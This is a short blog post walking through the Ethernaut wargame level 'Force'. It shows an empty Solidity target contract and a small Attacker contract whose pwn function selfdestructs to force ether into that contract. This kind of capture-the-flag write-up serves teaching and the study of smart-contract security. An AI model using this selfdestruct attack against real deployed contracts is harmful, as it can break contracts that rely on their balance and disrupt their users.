DEV Community

Erhan Tezcan
Erhan Tezcan

Posted on

Ethernaut: 7. Force

Play the level

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}
Enter fullscreen mode Exit fullscreen mode

This contract is supposedly not accepting any payments. Well, it is possible to force money into a contract by selfdestruct'ing a contract with some balance, with the target contract address as the parameter.

We deploy the contract below with some small amount of ether, and then call the pwn function to let it selfdestruct and transfer all of its balance to the target contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker {
  function pwn(address _target) payable public {
    selfdestruct(payable(_target));
  }
}
Enter fullscreen mode Exit fullscreen mode

That is all about this one!

Top comments (0)